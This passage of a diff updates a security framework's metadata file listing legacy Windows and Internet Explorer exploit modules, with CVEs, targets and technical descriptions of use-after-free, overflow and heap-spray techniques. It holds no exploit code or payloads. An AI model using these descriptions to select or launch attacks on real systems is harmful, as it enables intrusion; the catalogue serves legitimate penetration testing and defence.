Components.\n When passing an overly long string as the \"HTMLURL\" parameter an attacker can\n execute arbitrary code.", + "description": "This module exploits a buffer overflow in Microsoft's Office Web Components.\n When passing an overly long string as the \"HTMLURL\" parameter an attacker can\n execute arbitrary code.", "references": [ "CVE-2009-1534", "OSVDB-56916", @@ -147021,17 +149952,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3 - IE6 - Office XP SP0", "Windows XP SP3 - IE6 - Office XP SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ms09_043_owc_htmlurl.rb", "is_install_path": true, "ref_name": "windows/browser/ms09_043_owc_htmlurl", @@ -147039,6 +149966,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -147046,9 +149982,7 @@ "exploit_windows/browser/ms09_043_owc_msdso": { "name": "Microsoft OWC Spreadsheet msDataSourceObject Memory Corruption", "fullname": "exploit/windows/browser/ms09_043_owc_msdso", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-07-13", "type": "exploit", @@ -147058,7 +149992,7 @@ "Ahmed Obied", "DSR! " ], - "description": "This module exploits a memory corruption vulnerability within versions 10 and 11 of\n the Office Web Component Spreadsheet ActiveX control. This module was based on\n an exploit found in the wild.", + "description": "This module exploits a memory corruption vulnerability within versions 10 and 11 of\n the Office Web Component Spreadsheet ActiveX control. This module was based on\n an exploit found in the wild.", "references": [ "CVE-2009-1136", "OSVDB-55806", @@ -147070,16 +150004,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ms09_043_owc_msdso.rb", "is_install_path": true, "ref_name": "windows/browser/ms09_043_owc_msdso", @@ -147087,6 +150017,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -147094,9 +150033,7 @@ "exploit_windows/browser/ms09_072_style_object": { "name": "MS09-072 Microsoft Internet Explorer Style getElementsByTagName Memory Corruption", "fullname": "exploit/windows/browser/ms09_072_style_object", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-11-20", "type": "exploit", @@ -147104,7 +150041,7 @@ "securitylab.ir ", "jduck " ], - "description": "This module exploits a vulnerability in the getElementsByTagName function\n as implemented within Internet Explorer.", + "description": "This module exploits a vulnerability in the getElementsByTagName function\n as implemented within Internet Explorer.", "references": [ "MSB-MS09-072", "CVE-2009-3672", @@ -147115,16 +150052,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ms09_072_style_object.rb", "is_install_path": true, "ref_name": "windows/browser/ms09_072_style_object", @@ -147132,6 +150065,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -147139,9 +150081,7 @@ "exploit_windows/browser/ms10_002_aurora": { "name": "MS10-002 Microsoft Internet Explorer \"Aurora\" Memory Corruption", "fullname": "exploit/windows/browser/ms10_002_aurora", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-01-14", "type": "exploit", @@ -147149,7 +150089,7 @@ "unknown", "hdm " ], - "description": "This module exploits a memory corruption flaw in Internet Explorer. This\n flaw was found in the wild and was a key component of the \"Operation Aurora\"\n attacks that lead to the compromise of a number of high profile companies. The\n exploit code is a direct port of the public sample published to the Wepawet\n malware analysis site. The technique used by this module is currently identical\n to the public sample, as such, only Internet Explorer 6 can be reliably exploited.", + "description": "This module exploits a memory corruption flaw in Internet Explorer. This\n flaw was found in the wild and was a key component of the \"Operation Aurora\"\n attacks that lead to the compromise of a number of high profile companies. The\n exploit code is a direct port of the public sample published to the Wepawet\n malware analysis site. The technique used by this module is currently identical\n to the public sample, as such, only Internet Explorer 6 can be reliably exploited.", "references": [ "MSB-MS10-002", "CVE-2010-0249", @@ -147159,16 +150099,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ms10_002_aurora.rb", "is_install_path": true, "ref_name": "windows/browser/ms10_002_aurora", @@ -147176,6 +150112,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -147183,9 +150128,7 @@ "exploit_windows/browser/ms10_002_ie_object": { "name": "MS10-002 Microsoft Internet Explorer Object Memory Use-After-Free", "fullname": "exploit/windows/browser/ms10_002_ie_object", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-01-21", "type": "exploit", @@ -147194,7 +150137,7 @@ "juan vazquez ", "sinn3r " ], - "description": "This module exploits a vulnerability found in Internet Explorer's\n mshtml component. Due to the way IE handles objects in memory, it is\n possible to cause a pointer in CTableRowCellsCollectionCacheItem::GetNext\n to be used even after it gets freed, therefore allowing remote code\n execution under the context of the user.\n\n This particular vulnerability was also one of 2012's Pwn2Own\n challenges, and was later explained by Peter Vreugdenhil with exploitation\n details. Instead of Peter's method, this module uses heap spraying like\n the 99% to store a specially crafted memory layout before re-using the\n freed memory.", + "description": "This module exploits a vulnerability found in Internet Explorer's\n mshtml component. Due to the way IE handles objects in memory, it is\n possible to cause a pointer in CTableRowCellsCollectionCacheItem::GetNext\n to be used even after it gets freed, therefore allowing remote code\n execution under the context of the user.\n\n This particular vulnerability was also one of 2012's Pwn2Own\n challenges, and was later explained by Peter Vreugdenhil with exploitation\n details. Instead of Peter's method, this module uses heap spraying like\n the 99% to store a specially crafted memory layout before re-using the\n freed memory.", "references": [ "MSB-MS10-002", "CVE-2010-0248", @@ -147205,18 +150148,14 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 8 on Windows XP SP3", "IE 8 on Windows 7 SP0" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ms10_002_ie_object.rb", "is_install_path": true, "ref_name": "windows/browser/ms10_002_ie_object", @@ -147224,6 +150163,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -147231,9 +150179,7 @@ "exploit_windows/browser/ms10_018_ie_behaviors": { "name": "MS10-018 Microsoft Internet Explorer DHTML Behaviors Use After Free", "fullname": "exploit/windows/browser/ms10_018_ie_behaviors", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-03-09", "type": "exploit", @@ -147243,7 +150189,7 @@ "Nanika", "jduck " ], - "description": "This module exploits a use-after-free vulnerability within the DHTML behaviors\n functionality of Microsoft Internet Explorer versions 6 and 7. This bug was\n discovered being used in-the-wild and was previously known as the \"iepeers\"\n vulnerability. The name comes from Microsoft's suggested workaround to block\n access to the iepeers.dll file.\n\n According to Nico Waisman, \"The bug itself is when trying to persist an object\n using the setAttribute, which end up calling VariantChangeTypeEx with both the\n source and the destination being the same variant. So if you send as a variant\n an IDISPATCH the algorithm will try to do a VariantClear of the destination before\n using it. This will end up on a call to PlainRelease which deref the reference\n and clean the object.\"\n\n NOTE: Internet Explorer 8 and Internet Explorer 5 are not affected.", + "description": "This module exploits a use-after-free vulnerability within the DHTML behaviors\n functionality of Microsoft Internet Explorer versions 6 and 7. This bug was\n discovered being used in-the-wild and was previously known as the \"iepeers\"\n vulnerability. The name comes from Microsoft's suggested workaround to block\n access to the iepeers.dll file.\n\n According to Nico Waisman, \"The bug itself is when trying to persist an object\n using the setAttribute, which end up calling VariantChangeTypeEx with both the\n source and the destination being the same variant. So if you send as a variant\n an IDISPATCH the algorithm will try to do a VariantClear of the destination before\n using it. This will end up on a call to PlainRelease which deref the reference\n and clean the object.\"\n\n NOTE: Internet Explorer 8 and Internet Explorer 5 are not affected.", "references": [ "CVE-2010-0806", "OSVDB-62810", @@ -147255,18 +150201,14 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "(Automatic) IE6, IE7 on Windows NT, 2000, XP, 2003 and Vista", "IE 6 SP0-SP2 (onclick)", "IE 7.0 (marquee)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb", "is_install_path": true, "ref_name": "windows/browser/ms10_018_ie_behaviors", @@ -147274,6 +150216,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -147281,9 +150232,7 @@ "exploit_windows/browser/ms10_018_ie_tabular_activex": { "name": "MS10-018 Microsoft Internet Explorer Tabular Data Control ActiveX Memory Corruption", "fullname": "exploit/windows/browser/ms10_018_ie_tabular_activex", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-03-09", "type": "exploit", @@ -147291,7 +150240,7 @@ "Unknown", "jduck " ], - "description": "This module exploits a memory corruption vulnerability in the Internet Explorer\n Tabular Data ActiveX Control. Microsoft reports that version 5.01 and 6 of Internet\n Explorer are vulnerable.\n\n By specifying a long value as the \"DataURL\" parameter to this control, it is possible\n to write a NUL byte outside the bounds of an array. By targeting control flow data\n on the stack, an attacker can execute arbitrary code.", + "description": "This module exploits a memory corruption vulnerability in the Internet Explorer\n Tabular Data ActiveX Control. Microsoft reports that version 5.01 and 6 of Internet\n Explorer are vulnerable.\n\n By specifying a long value as the \"DataURL\" parameter to this control, it is possible\n to write a NUL byte outside the bounds of an array. By targeting control flow data\n on the stack, an attacker can execute arbitrary code.", "references": [ "CVE-2010-0805", "OSVDB-63329", @@ -147302,16 +150251,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic (Heap Spray)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb", "is_install_path": true, "ref_name": "windows/browser/ms10_018_ie_tabular_activex", @@ -147319,6 +150264,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -147326,9 +150280,7 @@ "exploit_windows/browser/ms10_022_ie_vbscript_winhlp32": { "name": "MS10-022 Microsoft Internet Explorer Winhlp32.exe MsgBox Code Execution", "fullname": "exploit/windows/browser/ms10_022_ie_vbscript_winhlp32", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-02-26", "type": "exploit", @@ -147336,7 +150288,7 @@ "Maurycy Prodeus", "jduck " ], - "description": "This module exploits a code execution vulnerability that occurs when a user\n presses F1 on MessageBox originated from VBscript within a web page. When the\n user hits F1, the MessageBox help functionality will attempt to load and use\n a HLP file from an SMB or WebDAV (if the WebDAV redirector is enabled) server.\n\n This particular version of the exploit implements a WebDAV server that will\n serve HLP file as well as a payload EXE. During testing warnings about the\n payload EXE being unsigned were witnessed. A future version of this module\n might use other methods that do not create such a warning.", + "description": "This module exploits a code execution vulnerability that occurs when a user\n presses F1 on MessageBox originated from VBscript within a web page. When the\n user hits F1, the MessageBox help functionality will attempt to load and use\n a HLP file from an SMB or WebDAV (if the WebDAV redirector is enabled) server.\n\n This particular version of the exploit implements a WebDAV server that will\n serve HLP file as well as a payload EXE. During testing warnings about the\n payload EXE being unsigned were witnessed. A future version of this module\n might use other methods that do not create such a warning.", "references": [ "CVE-2010-0483", "OSVDB-62632", @@ -147347,17 +150299,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Internet Explorer on Windows" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ms10_022_ie_vbscript_winhlp32.rb", "is_install_path": true, "ref_name": "windows/browser/ms10_022_ie_vbscript_winhlp32", @@ -147365,6 +150313,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -147372,9 +150329,7 @@ "exploit_windows/browser/ms10_026_avi_nsamplespersec": { "name": "MS10-026 Microsoft MPEG Layer-3 Audio Stack Based Overflow", "fullname": "exploit/windows/browser/ms10_026_avi_nsamplespersec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-04-13", "type": "exploit", @@ -147384,28 +150339,24 @@ "juan vazquez ", "Jordi Sanchez " ], - "description": "This module exploits a buffer overflow in l3codecx.ax while processing a\n AVI files with MPEG Layer-3 audio contents. The overflow only allows to overwrite\n with 0's so the three least significant bytes of EIP saved on stack are\n overwritten and shellcode is mapped using the .NET DLL memory technique pioneered\n by Alexander Sotirov and Mark Dowd.\n\n Please note on IE 8 targets, your malicious URL must be a trusted site in order\n to load the .Net control.", + "description": "This module exploits a buffer overflow in l3codecx.ax while processing a\n AVI files with MPEG Layer-3 audio contents. The overflow only allows to overwrite\n with 0's so the three least significant bytes of EIP saved on stack are\n overwritten and shellcode is mapped using the .NET DLL memory technique pioneered\n by Alexander Sotirov and Mark Dowd.\n\n Please note on IE 8 targets, your malicious URL must be a trusted site in order\n to load the .Net control.", "references": [ "CVE-2010-0480", "OSVDB-63749", "BID-39303", "MSB-MS10-026", - "URL-https://www.exploit-db.com/moaub-5-microsoft-mpeg-layer-3-audio-stack-based-overflow/", + "URL-http://web.archive.org/web/20110916145030/http://www.exploit-db.com/moaub-5-microsoft-mpeg-layer-3-audio-stack-based-overflow/", "URL-http://www.phreedom.org/research/bypassing-browser-memory-protections/" ], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3 Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb", "is_install_path": true, "ref_name": "windows/browser/ms10_026_avi_nsamplespersec", @@ -147413,6 +150364,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -147420,9 +150380,7 @@ "exploit_windows/browser/ms10_042_helpctr_xss_cmd_exec": { "name": "Microsoft Help Center XSS and Command Execution", "fullname": "exploit/windows/browser/ms10_042_helpctr_xss_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-06-09", "type": "exploit", @@ -147430,7 +150388,7 @@ "Tavis Ormandy", "natron " ], - "description": "Help and Support Center is the default application provided to access online\n documentation for Microsoft Windows. Microsoft supports accessing help documents\n directly via URLs by installing a protocol handler for the scheme \"hcp\". Due to\n an error in validation of input to hcp:// combined with a local cross site\n scripting vulnerability and a specialized mechanism to launch the XSS trigger,\n arbitrary command execution can be achieved.\n\n On IE7 on XP SP2 or SP3, code execution is automatic. If WMP9 is installed, it\n can be used to launch the exploit automatically. If IE8 and WMP11, either can\n be used to launch the attack, but both pop dialog boxes asking the user if\n execution should continue. This exploit detects if non-intrusive mechanisms are\n available and will use one if possible. In the case of both IE8 and WMP11, the\n exploit defaults to using an iframe on IE8, but is configurable by setting the\n DIALOGMECH option to \"none\" or \"player\".\n\n This module creates a WebDAV service from which the payload is copied to the\n victim machine.", + "description": "Help and Support Center is the default application provided to access online\n documentation for Microsoft Windows. Microsoft supports accessing help documents\n directly via URLs by installing a protocol handler for the scheme \"hcp\". Due to\n an error in validation of input to hcp:// combined with a local cross site\n scripting vulnerability and a specialized mechanism to launch the XSS trigger,\n arbitrary command execution can be achieved.\n\n On IE7 on XP SP2 or SP3, code execution is automatic. If WMP9 is installed, it\n can be used to launch the exploit automatically. If IE8 and WMP11, either can\n be used to launch the attack, but both pop dialog boxes asking the user if\n execution should continue. This exploit detects if non-intrusive mechanisms are\n available and will use one if possible. In the case of both IE8 and WMP11, the\n exploit defaults to using an iframe on IE8, but is configurable by setting the\n DIALOGMECH option to \"none\" or \"player\".\n\n This module creates a WebDAV service from which the payload is copied to the\n victim machine.", "references": [ "CVE-2010-1885", "OSVDB-65264", @@ -147439,16 +150397,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2023-05-30 10:56:41 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ms10_042_helpctr_xss_cmd_exec.rb", "is_install_path": true, "ref_name": "windows/browser/ms10_042_helpctr_xss_cmd_exec", @@ -147456,6 +150410,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -147463,9 +150426,7 @@ "exploit_windows/browser/ms10_046_shortcut_icon_dllloader": { "name": "Microsoft Windows Shell LNK Code Execution", "fullname": "exploit/windows/browser/ms10_046_shortcut_icon_dllloader", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-07-16", "type": "exploit", @@ -147474,7 +150435,7 @@ "jduck ", "B_H" ], - "description": "This module exploits a vulnerability in the handling of Windows\n Shortcut files (.LNK) that contain an icon resource pointing to a\n malicious DLL. This module creates a WebDAV service that can be used\n to run an arbitrary payload when accessed as a UNC path.", + "description": "This module exploits a vulnerability in the handling of Windows\n Shortcut files (.LNK) that contain an icon resource pointing to a\n malicious DLL. This module creates a WebDAV service that can be used\n to run an arbitrary payload when accessed as a UNC path.", "references": [ "CVE-2010-2568", "OSVDB-66387", @@ -147483,16 +150444,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb", "is_install_path": true, "ref_name": "windows/browser/ms10_046_shortcut_icon_dllloader", @@ -147500,6 +150457,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -147507,9 +150473,7 @@ "exploit_windows/browser/ms10_090_ie_css_clip": { "name": "MS10-090 Microsoft Internet Explorer CSS SetUserClip Memory Corruption", "fullname": "exploit/windows/browser/ms10_090_ie_css_clip", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-11-03", "type": "exploit", @@ -147519,7 +150483,7 @@ "Matteo Memelli", "jduck " ], - "description": "This module exploits a memory corruption vulnerability within Microsoft's\n HTML engine (mshtml). When parsing an HTML page containing a specially\n crafted CSS tag, memory corruption occurs that can lead arbitrary code\n execution.\n\n It seems like Microsoft code inadvertently increments a vtable pointer to\n point to an unaligned address within the vtable's function pointers. This\n leads to the program counter being set to the address determined by the\n address \"[vtable+0x30+1]\". The particular address depends on the exact\n version of the mshtml library in use.\n\n Since the address depends on the version of mshtml, some versions may not\n be exploitable. Specifically, those ending up with a program counter value\n within another module, in kernel space, or just not able to be reached with\n various memory spraying techniques.\n\n Also, since the address is not controllable, it is unlikely to be possible\n to use ROP to bypass non-executable memory protections.", + "description": "This module exploits a memory corruption vulnerability within Microsoft's\n HTML engine (mshtml). When parsing an HTML page containing a specially\n crafted CSS tag, memory corruption occurs that can lead arbitrary code\n execution.\n\n It seems like Microsoft code inadvertently increments a vtable pointer to\n point to an unaligned address within the vtable's function pointers. This\n leads to the program counter being set to the address determined by the\n address \"[vtable+0x30+1]\". The particular address depends on the exact\n version of the mshtml library in use.\n\n Since the address depends on the version of mshtml, some versions may not\n be exploitable. Specifically, those ending up with a program counter value\n within another module, in kernel space, or just not able to be reached with\n various memory spraying techniques.\n\n Also, since the address is not controllable, it is unlikely to be possible\n to use ROP to bypass non-executable memory protections.", "references": [ "CVE-2010-3962", "OSVDB-68987", @@ -147530,19 +150494,15 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Debug", "Internet Explorer 6", "Internet Explorer 7" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb", "is_install_path": true, "ref_name": "windows/browser/ms10_090_ie_css_clip", @@ -147550,6 +150510,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -147557,9 +150526,7 @@ "exploit_windows/browser/ms11_003_ie_css_import": { "name": "MS11-003 Microsoft Internet Explorer CSS Recursive Import Use After Free", "fullname": "exploit/windows/browser/ms11_003_ie_css_import", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-11-29", "type": "exploit", @@ -147568,7 +150535,7 @@ "d0c_s4vage", "jduck " ], - "description": "This module exploits a memory corruption vulnerability within Microsoft\\'s\n HTML engine (mshtml). When parsing an HTML page containing a recursive CSS\n import, a C++ object is deleted and later reused. This leads to arbitrary\n code execution.\n\n This exploit utilizes a combination of heap spraying and the\n .NET 2.0 'mscorie.dll' module to bypass DEP and ASLR. This module does not\n opt-in to ASLR. As such, this module should be reliable on all Windows\n versions with .NET 2.0.50727 installed.", + "description": "This module exploits a memory corruption vulnerability within Microsoft\\'s\n HTML engine (mshtml). When parsing an HTML page containing a recursive CSS\n import, a C++ object is deleted and later reused. This leads to arbitrary\n code execution.\n\n This exploit utilizes a combination of heap spraying and the\n .NET 2.0 'mscorie.dll' module to bypass DEP and ASLR. This module does not\n opt-in to ASLR. As such, this module should be reliable on all Windows\n versions with .NET 2.0.50727 installed.", "references": [ "CVE-2010-3971", "OSVDB-69796", @@ -147580,12 +150547,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Internet Explorer 8", @@ -147593,7 +150556,7 @@ "Internet Explorer 6", "Debug Target (Crash)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ms11_003_ie_css_import.rb", "is_install_path": true, "ref_name": "windows/browser/ms11_003_ie_css_import", @@ -147601,6 +150564,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -147608,9 +150580,7 @@ "exploit_windows/browser/ms11_050_mshtml_cobjectelement": { "name": "MS11-050 IE mshtml!CObjectElement Use After Free", "fullname": "exploit/windows/browser/ms11_050_mshtml_cobjectelement", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-06-16", "type": "exploit", @@ -147619,7 +150589,7 @@ "sinn3r ", "bannedit " ], - "description": "This module exploits a use-after-free vulnerability in Internet Explorer. The\n vulnerability occurs when an invalid tag exists and other elements\n overlap/cover where the object tag should be when rendered (due to their\n styles/positioning). The mshtml!CObjectElement is then freed from memory because\n it is invalid. However, the mshtml!CDisplay object for the page continues to keep\n a reference to the freed and attempts to call a function on it, leading\n to the use-after-free.\n\n Please note that for IE 8 targets, JRE (Java Runtime Environment) is required\n to bypass DEP (Data Execution Prevention).", + "description": "This module exploits a use-after-free vulnerability in Internet Explorer. The\n vulnerability occurs when an invalid tag exists and other elements\n overlap/cover where the object tag should be when rendered (due to their\n styles/positioning). The mshtml!CObjectElement is then freed from memory because\n it is invalid. However, the mshtml!CDisplay object for the page continues to keep\n a reference to the freed and attempts to call a function on it, leading\n to the use-after-free.\n\n Please note that for IE 8 targets, JRE (Java Runtime Environment) is required\n to bypass DEP (Data Execution Prevention).", "references": [ "CVE-2011-1260", "OSVDB-72950", @@ -147629,12 +150599,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Internet Explorer 7 on XP SP3", @@ -147643,7 +150609,7 @@ "Internet Explorer 8 on Windows 7", "Debug Target (Crash)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb", "is_install_path": true, "ref_name": "windows/browser/ms11_050_mshtml_cobjectelement", @@ -147651,6 +150617,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -147658,9 +150633,7 @@ "exploit_windows/browser/ms11_081_option": { "name": "MS11-081 Microsoft Internet Explorer Option Element Use-After-Free", "fullname": "exploit/windows/browser/ms11_081_option", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-10-11", "type": "exploit", @@ -147669,7 +150642,7 @@ "juan vazquez ", "sinn3r " ], - "description": "This module exploits a vulnerability in Microsoft Internet Explorer. A memory\n corruption may occur when the Option cache isn't updated properly, which allows\n other JavaScript methods to access a deleted Option element, and results in code\n execution under the context of the user.", + "description": "This module exploits a vulnerability in Microsoft Internet Explorer. A memory\n corruption may occur when the Option cache isn't updated properly, which allows\n other JavaScript methods to access a deleted Option element, and results in code\n execution under the context of the user.", "references": [ "CVE-2011-1996", "OSVDB-76208", @@ -147680,19 +150653,15 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 8 on Windows XP SP3", "IE 8 on Windows Vista", "IE 8 on Windows 7" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ms11_081_option.rb", "is_install_path": true, "ref_name": "windows/browser/ms11_081_option", @@ -147700,6 +150669,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -147707,9 +150685,7 @@ "exploit_windows/browser/ms11_093_ole32": { "name": "MS11-093 Microsoft Windows OLE Object File Handling Remote Code Execution", "fullname": "exploit/windows/browser/ms11_093_ole32", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-12-13", "type": "exploit", @@ -147717,7 +150693,7 @@ "Luigi Auriemma", "juan vazquez " ], - "description": "This module exploits a type confusion vulnerability in the OLE32 component of\n Windows XP SP3. The vulnerability exists in the CPropertyStorage::ReadMultiple\n function.\n\n A Visio document with a specially crafted Summary Information Stream embedded allows\n to get remote code execution through Internet Explorer, on systems with Visio Viewer\n installed.", + "description": "This module exploits a type confusion vulnerability in the OLE32 component of\n Windows XP SP3. The vulnerability exists in the CPropertyStorage::ReadMultiple\n function.\n\n A Visio document with a specially crafted Summary Information Stream embedded allows\n to get remote code execution through Internet Explorer, on systems with Visio Viewer\n installed.", "references": [ "MSB-MS11-093", "CVE-2011-3400", @@ -147729,18 +150705,14 @@ "platform": "Windows", "arch": "", 